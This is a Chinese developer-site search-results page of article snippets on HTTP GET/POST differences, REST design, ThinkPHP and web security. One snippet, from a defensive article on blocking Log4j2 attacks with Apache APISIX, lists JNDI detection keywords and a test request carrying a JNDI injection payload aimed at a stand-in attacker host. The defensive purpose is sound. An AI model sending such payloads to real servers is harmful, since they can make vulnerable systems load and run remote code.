文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

金三银四求职季，接口自动化面试题助攻一波

常见的返回码有： 200 OK - [GET]：服务器成功返回用户请求的数据。 201 CREATED - [POST/PUT/PATCH]：用户新建或修改数据成功。...SESSION 对服务器的压力会更大一些，而 Cookie 放在客户端，所以对服务器基本没影响。 六 get 和 post 区别是什么？...get 和 post 区别可概括为如下8个方面： (1)  提交数据的形式： • GET方法一般是指获取服务器上的数据，通过地址栏传输，请求参数（query string查询字符串）直接跟着URL后，以...  请求方式： • GET是获取指定的资源 ; • POST是向指定的资源提交要被处理的数据 ; (6)  请求体： • GET没有请求体； • POST有请求体；  (7)  效率方面： • GET产生一个...TCP数据包；  • POST产生两个TCP数据包，POST需要两步，时间上消耗要多一点，GET比POST更有效；  (8)  请求过程： • 对于GET方式的请求，浏览器会把http header和data

95340

你真的知道你喜欢REST而不是RPC的原因吗？

有关REST和RPC的讨论或争论一直活跃在各个技术角落，最近也关注了不少，看了很多人的看法之后，我意识到这个问题可以帮助我照亮自己的知识死角：为什么我喜欢REST的请求风格（资源导向）比RPC（操作导向...是因为RPC的请求风格天生邪恶吗？ 还是REST就是灵丹妙药？ 两种请求风格长分别长什么样子 在比较这两种请求风格之前，让我们看看他们究竟长什么样子。...上面这个表格中只是展示了RPC和REST API中常用的几个HTTP动词 RPC: 一个基于操作的请求风格 RPC首字母缩略词有很多含义，远程过程调用（Remote Procedure Call）也有很多的形式...就我目前所知，对于这种风格基本上没什么明确的约定和规则。 端点（或叫资源）包含要调用的操作的名称。 这种风格的API基本上只使用两个http动词，那就是你熟悉的GET和POST。...但看了HTTP RFC后，我不同意这个论点（也许我理解的不够深刻）。 当然，如果你的RPC API所有请求都使用POST，缓存处理起来可能有点棘手。

1.4K60
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    金三银四求职季，接口自动化面试题助攻一波

    常见的返回码有： 200 OK - [GET]：服务器成功返回用户请求的数据。 201 CREATED - [POST/PUT/PATCH]：用户新建或修改数据成功。...4、密码安全规则，密码的复杂程度校验。 异常验证： 所谓异常验证，也就是我不按照你接口文档上的要求输入参数，来验证接口对异常情况的校验。...SESSION 对服务器的压力会更大一些，而 Cookie 放在客户端，所以对服务器基本没影响。 六 get 和 post 区别是什么？...get 和 post 区别可概括为如下8个方面： (1) 提交数据的形式： • GET方法一般是指获取服务器上的数据，通过地址栏传输，请求参数（query string查询字符串）直接跟着URL后，以...) 请求方式： • GET是获取指定的资源 ; • POST是向指定的资源提交要被处理的数据 ; (6) 请求体： • GET没有请求体； • POST有请求体； (7) 效率方面： • GET

    72920

    REST 十诫

    你也许不会要求你的后端开发人员设计一个应用，让汽车修理师修理飞机，或是请兽医为人类进行手术。他们能做到吗？或许，他们有可能。他们应该这么做吗？不，我不这么认为。...最后，POST 操作是不安全的，因为它们的确会在服务器端改变一些东西，而且它们也并非无所不能，因为向同一个端点发出两个请求会导致不同的资源。 PUT 方法 PUT 请求最常被用于更新的场合。...我推荐你使用一切可用的 HTTP 方法，因为这就是它们的目的。你可以把所有的 CRUD 操作映射到 POST、GET、UPDATE 和 DELETE。我只想让你别用 GET 来创建或更新数据。...： GET /user/23 GET /listAllUsers POST /user/create PUT /updateUser/23 GET /userComments/23 我认为你对这种观点有了一定的了解...作为本节的总结，我将简单地介绍一下 JSON 键在请求和响应数据中的命名规则。

    65420

    Thinkphp5学习笔记

    对象的主要职责是统一和更安全地获取当前的请求信息，你需要避免直接操作_GET、_POST、_REQUEST、_SESSION、_COOKIE、_FILES等全局变量，而是统一使用Request对象提供的方法来获取请求变量...'';` 方法 描述 param 获取当前请求的变量（自动识别GET、POST、PUT请求的一种变量获取方式，是系统推荐的获取请求参数方法） get 获取$_GET变量 post 获取$_POST...请求类型包括： 类型 GET GET请求 POST POST请求 PUT PUT请求 DELETE DELETE请求 * 任何请求类型 系统提供了为不同的请求类型定义路由规则的简化方法，例如： Route...::get('new/:id','News/read'); // 定义GET请求路由规则 Route::post('new/:id','News/update'); // 定义POST请求路由规则 Route...Route::any('new/:id','News/read'); // 所有请求都支持的路由规则 如果要定义get和post请求支持的路由规则，也可以用： Route::rule('new/:id

    2.2K10

    实战中遇到的sql小姿势

    这个网站在测试的时候是没有 WAF 的，然后在 BurpSuit 中有这么一条记录，请求类型为 GET： controller.do?...这样一来，就不必区分客户端的请求是 GET 还是 POST 了，省事多了；而 PHP 中也有类似的情况，比如 $_REQUEST；而 .NET 中应该也有类似的操作，后来笔者在 PHP、.NET 中都有遇到过这样的情况...很多人会一本正经地说，HTTP 的 GET 与 POST 的方法不同在于，GET 是向服务器请求资源，POST 是向服务器提交资源。一开始笔者是有点懵逼的，不都可以提交数据吗？？？...POST 请求，服务器在找不到 Content-Type 时将默认其为 application/x-www-form-urlencoded ，对于 请求行 中的 query_string 则依然会像GET...这种表示（实现）在众多的 web 浏览器和 web 服务器中得到了广泛的应用。

    1.1K00

    【小家Spring】Feign发送Get请求时，采用POJO对象传递参数的最终解决方案 Request method POST not supported （附带其余好几个坑）

    前言 spring cloud技术栈里面，Feign可以使得我们的rest调用和调用本地方法一样方便。但是它真的有非常多的坑，苦不堪言啊。...本文将描述我们最为常遇到的坑： Feign发送Get请求时，采用POJO传递参数 Request method ‘POST’ not supported 坑 例举 Feign发送Get请求时，采用...用一个不知道里边有什么鬼的Map吗？或者转换为post？这似乎与REST风格不太搭，会浪费url资源，我们还需要在url定义上来区分Get或者Post。...默认使用的连接工具实现类，所以里面发现只要你有body体对象，就会强制的把get请求转换成POST请求。...User对象来传递get请求的参数了，是不是很优雅有木有。

    9.5K61

    记录一些问题（http状态码，IDOR漏洞，API接口，http请求方式）

    3**开头的，意思告诉你我搬家了，不在这里，重定向状态吗， 对重定向的时间上进行了划分， 301哥们永久搬家了，至于会不会给你留新家地址，就懒返回信息有没有了， 302哥们临时出去几天，有可能还回来，也可能不回来...HTTP协议的请求方式 序号 方法 描述 1 GET 发送请求来获得服务器上的资源，请求体中不会包含请求数据，请求数据放在协议头中。另外get支持快取、缓存 、可保留书签等。...幂等 2 POST 和get一样很常见，向服务器提交资源让服务器处理，比如提交表单、上传文件等，可能导致建立新的资源或者对 原有资源的修改。提交的资源放在请求体中。不支持快取。...所以put是安全的， 无论请求多少次，都是在123上更改，而post可能请求几次创建了几次资源。幂等 5 DELETE 请求服务器删除某资源。和put都具有破坏性，可能被防火墙拦截。...不同的TCP/IP和其他的协议在最初OSI模型中的位置 HTTP 用来实现超文本传输，FTP文件传输，SMTP处理邮件等等 7 应用层 例如HTTP、SMTP、SNMP、FTP、Telnet、SIP、SSH

    53620

    基于Apache APISIX拦截Log4j2漏洞

    应对措施： 1、waf等可阻断安全设备中添加拦截规则，关键字为“jndi:ldap://”、“jndi:rmi”； 2、流量监测设备监控是否有相关 Dnslog 域名的请求以及数据包中有“jndi:ldap...3、排查gitlab pom代码jar包和器镜像jar包 4、使用HIDS 进行进程和路径jar包检查 5、使用awvs+jndi payload进行批量化检测 流量检测系统：创建规则完成威胁检查，可以基于...Lua函数，函数的处理过程，分三步： 提取请求负载（包括 GET 请求的 URL 传参方式和 POST/PUT 请求体传参方式） 正则匹配恶意负载 拦截携带恶意负载的请求 0x06 应急策略验证 GET...foo=${jndi:ldap://attacker.com/a}' HTTP/1.1 401 Unauthorized …… POST方法请求拦截 拦截在 POST 请求体(application...，在新的绕过方法产生变化过程中，可快速的调整防护策略。

    1.5K20

    Optionsbleed 漏洞泄露 Apache Server 的内存信息

    实际上这个漏洞和 OpenSSL 的心脏滴血问题有相似的地方，攻击者都可以查询服务器并向Apache服务器骗取数据。...Optionsbleed 如何影响服务器 我们都知道Web服务器的工作原理，每当客户端（如Web浏览器）向服务器发出请求时，GET 或 POST 请求会发送到服务器端，服务器响应就会传送 Web 页面的内容或相应的文件到客户端...Böck 和 Champion则表示，如果.htaccess文件的规则与放置在上层目录或普通服务器配置中的.htaccess文件中的限制规则相矛盾时，Apache 就会陷入混淆，因此出现 Optionsbleed.../|grep -i “allow:”; done 不同的服务器配置下，对于OPTION请求可能会有不同的响应。...需要测试的用户可以尝试不同的路径，HTTP或者 HTTPS host，有 www 或没有 www开头的地址都可能导致不同的测试结果。

    1.3K100

    【小家Java】Servlet规范之---请求(request)：Servlet中如何获取POST请求参数？(使用getParameter())

    **和post提交的请求体（是有规范约束的，下面介绍）获得的所有请求数据都会包装进请求参数集合（这是个重要概念，可以理解成一个Map）**中。...简答的说URL里能够get到就以它的为准，若没有再去看~ Servlet参数可用性（POST请求规范） 我们大多数情况下的一个通识：post方式请求，body体里的内容我们是无法使用getParameter...这也是Spring MVC中@RequestBody的基本原理 备注：请注意流都是只能读一次的，避免冲虚读取~~ PUT请求可以像POST这样使用规范吗？...它给我们提供了一个FormContentFilter，它能帮我处理这种情况下的PUT请求（其实还有PATCH和DELETE请求），比如如下我使用PUT请求： ?...这是个恒等式（除非请求的URI和路径部分的编码不同） 其它相关规范 相对来说不是非常重要的了，提一句即可 路径转换的方法：ServletContext.getRealPath：获取真实路径 Cookies

    16.4K50

    [性能测试实战30讲」之问题问答整理八、九、十

    0 1 思考题 HTTP 的 GET 和 POST 请求，在后端处理中有什么不同？断言的作用是什么？如何使用断言呢？...0 2 思考题 你能说一下关联和断言的逻辑是什么吗？它们取数据的特点又是什么呢？ 读者A： 思考题：联和断言的逻辑是什么吗？它们取数据的特点又是什么呢？...作者回复: 我觉得你写的比我写的好 读者B： 1、罗列出需要参数化的数据及相对应的关系； 2、将参数化数据从数据库中取出或设计对应的生成规则； 3、合理地将参数化数据保存在不同的文件中； 4、在压力工具中设置相应的参数组合关系...：这里有三个选择，False、True 和 Edit。 Stop thread on EOF?：这里有三个选择，False、True 和 Edit。含义和上面一致。...1、业务规则决定参数文件不能随便组合； 2、如果随意组合参数，会影响事务成功率； 作者回复: 有收获我就值得了

    85310

    Mock13-拦截器服务实现(四) 简单规则匹配逻辑

    POST参数处理 GET的请求参数处理相对简单些，而对于POST一般对应的Body参数，当然也会可以同传Params参数。...” 的查询，这个查库实现参考上一篇和最初几篇套路式自己我先实现，也当做是检验下自我脱稿编程的代码能力的检验了。...简单规则匹配 通过上述的GET/POST的参数获取转换最终得到一个reqParamsOrBody，然后还有上一篇中的得到mockApiEntity和mockApiEntity 三个对象数据，这样我们就可以对其简单的匹配逻辑处理了...GET接口规则命中 POST接口规则命中 至此，本篇教程实现到这里，在上一篇基础上我们进一步实现了接口规则的匹配。有了这个能力支持，我们就可以针对同一个接口不同数值的请求匹配返回对应的值了。...下一篇我们会给出接口规则的请求表和全过程，下下篇是一个扩展知识点，然后我们回归到页面的交互开发

    28010

    正确甄别API、REST API、RESTful API和Web Service之间的异同

    初看你可能会觉得这太熟悉了，这不是系统开发日常系列吗？但你仔细想一想，你会发现API的概念在你脑海里是如此的模糊。...REST架构遵循CRUD原则，所有的资源都可以通过GET、POST、PUT和DELETE这四种行为完成对应的操作。...4、可缓存（可选项），在REST架构中需要缓存来有效的处理大批量的请求 5、接口一致 现在，了解了API和REST API的基本概念，那这两者之间有什么异同？...因为在RESTful API的设计中，我们完全可以通过GET的方式完成CURD操作，也可以通过DELETE行为来创建资源，通过POST行为来修改资源，它的实现方式并不严谨或者说并没有严格按照REST API...Web Service的特点是具有良好的互操作性和可扩展性，以及由于使用XML而可以对程序处理过程进行描述。它们可以以松散耦合的方式组合不同的服务以实现复杂的操作。

    29.1K1313

    Web 指纹识别之路

    确定是否使用代理或缓存，可以通过 Header 中 Via 字段做简要判断，如该请求包中使用了 Squid 代理 $ nc www.godeye.vip 80 GET / HTTP/1.0 HTTP/1.0...，防火墙指纹等等 当请求一个不存在页面时 Apache 与 IIS 返回响应是截然不同 Apache 报错返回 "Not Found" Apache 1.3.29 # nc target1.com 80...OPTIONS 方法不同 当在 HTTP 请求中发送 OPTIONS 方法时，在“Allow”头中返回给定 URI 允许的方法列表。Apache 只返回“允许”头，而 IIS 也包括“公共”头。..., TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Cache-Control...语言识别: 开发语言各有不同，有使用各种语言或者框架开发，大部分语言都有属于自己的一些特性，比如在 Header 请求响应头中会包含 X-Powered-By: ASP.NET X-AspNet-Version

    3.6K10

    如何在Ubuntu 14.04和Debian 8上使用Apache设置ModSecurity

    介绍 ModSecurity是一个免费的Web应用程序防火墙（WAF），可与Apache，Nginx和IIS配合使用。...它支持灵活的规则引擎来执行简单和复杂的操作，并附带核心规则集（CRS），其中包含SQL注入，跨站点脚本，特洛伊木马，恶意用户代理，会话劫持和许多其他漏洞利用的规则。...要在此步骤中查找和替换配置指令，我们将使用sed流编辑器。 要启用的基本指令 将默认的ModSecurity配置文件设置为DetectionOnly，根据规则匹配记录请求，不阻止任何内容。...特别是，该SecRequestBodyLimit指令指定了最大POST数据大小。如果客户端发送任何更大的内容，服务器将响应413请求实体太大错误。...启用CRS 为了简化操作，有许多规则已经与ModSecurity一起安装。这些称为CRS（核心规则集），位于/usr/share/modsecurity-crs目录中。

    2.5K00

    面试官：POST 比 GET 安全吗？你理解就是错的

    GET请求参数会被完整保留在浏览器历史记录里，而POST中的参数不会被保留。 6. GET请求在URL中传送的参数是有长度限制的，而POST么有。 7....如果我告诉你GET和POST本质上没有区别你信吗？ 让我们扒下GET和POST的外衣，坦诚相见吧！ GET和POST是什么？HTTP协议中的两种发送请求的方法。 HTTP是什么？...但是由于HTTP的规定和浏览器/服务器的限制，导致他们在应用过程中体现出一些不同。 你以为本文就这么结束了？ ? 我们的大BOSS还等着出场呢。。。 这位BOSS有多神秘？...知道这个有什么用？我不想解释了，有时候就得自己痛一次才记得住。 HTTP协议对GET和POST都没有对长度的限制 HTTP协议明确地指出了，HTTP头和Body都没有长度的要求。...但是这个限制是针对所有HTTP请求的，与GET、POST没有关系。 安全不安全和GET、POST没有关系 我觉得这真是中国特色。我讲个小段子，大家应该可以体会出这个说法多么的可笑。

    3.7K41
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券